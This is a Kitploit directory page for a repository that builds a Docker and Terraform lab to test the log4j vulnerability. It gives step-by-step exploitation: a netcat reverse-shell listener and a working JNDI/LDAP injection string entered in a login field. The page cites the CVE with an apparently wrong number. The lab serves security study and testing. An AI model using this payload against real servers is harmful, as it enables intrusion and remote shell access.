Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4jtest — Terraform and Docker resources for quickly spinning up a test of CVE-2021-44428 | Kitploit
Tools/GitHubGitHub/z3bul0n/log4jtest
Cloud Infrastructure SecurityContainer SecurityVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubz3bul0n/log4jtest

log4jtest

Terraform and Docker resources for quickly spinning up a test of CVE-2021-44428

View Repository
1364 years agoNot yet reviewed
Share

Introduction

This repository is setup to quickly test the log4j vulnerability using Docker and Hashicorp Terraform. All of the components of this test will run in Docker containers on the Docker network, accessible via 'host.docker.internal'.

Credits / Disclaimer

This test environment is derived from a great blog post from Raxis: (https://raxis.com/blog/log4j-exploit)

The vulnerable application and exploit code came from cyberxml (https://github.com/cyberxml/log4j-poc).

All I've done is codified the environment to make it easy to spin-up and test this delicious exploit.

I do not assume any responsibility for adverse effects or malicious actions that may result from the use of the material in this repository. Full stop. It is up to you to decide if these materials are trustworthy and it is similarly your responsibility to use this information ethically. I merely post these goodies so that reserchers, students, and security professionals can quickly create an environment and test the exploit for themselves. Seacrest out.

Prerequisites

  • Docker Desktop (https://www.docker.com/)
  • Hashicorp Terraform (https://www.terraform.io/)

Setup

  1. Clone this repository
  2. Run 'terraform init' in the project directory
  3. Start the Docker daemon
  4. Run the 'docker-build.sh' bash script to build all of the project's container images.
  5. Run 'terraform apply' to create all of the containers in the project.

Exploitation

  1. Shell into the log4j_netcat container using 'docker exec -it netcat /bin/bash' or something similar. This is where you will receive your shell connection to the victim server once it's established.

  2. In your session within the log4j_netcat container, enter the following command to start the listener:

nc -lv -s 0.0.0.0 -p 9001
  1. In your browser, navigate to http://host.docker.internal:8080/log4shell/

  2. Enter the following into the 'Username' field along with anything you want in the 'Password' field:

${jndi:ldap://host.docker.internal:1389/a}
  1. Return to the log4j_netcat container shell and observe that you have connected to the victim server.

  2. Go and wreak havoc!

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →